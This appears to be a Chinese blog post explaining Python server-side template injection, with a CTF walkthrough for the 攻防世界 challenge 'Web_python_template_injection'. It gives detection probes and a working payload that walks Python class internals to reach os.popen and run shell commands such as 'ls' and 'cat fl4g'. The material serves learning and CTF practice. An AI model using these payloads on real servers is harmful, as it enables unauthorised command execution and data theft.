python SSTI注入

https://www.jianshu.com/p/a77c50dfebcb

https://xz.aliyun.com/t/3679#toc-9

SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
b = Template(a)
return b.render()

a参数获取后直接作为模板,直接render,明显a参数是可控的

1.ssti漏洞的检测

比如发送{{7*7}}

返回49

2.漏洞利用

通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。

config.items()可以查看服务器的配置信息

__class__返回调用参数类型

__base__返回基类

__mro__ 返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

__subclasses__()对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表” ,返回子类

''.__class__.__mro__[2]

''.__class__.__mro__[2].__subclasses__() 查看所有模块

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

例题

攻防世界 Web_python_template_injection

python模板注入

{{…}}内容会被当做变量解析
python SSTI注入_第1张图片

https://blog.csdn.net/qq_32506555/article/details/53999322

https://www.cnblogs.com/darklee/p/12625742.html

{{ config.items() }}可以查看服务器的配置信息

{{''.__class__.__mro__[2].__subclasses__()}} 查看所有模块

在python里要执行系统命令需要import os模块。

os模块,位于(71)
python SSTI注入_第2张图片

通过__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()

来调用服务器的控制台并显示。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

fl4g index.py

cat fl4g

你可能感兴趣的:(python SSTI注入)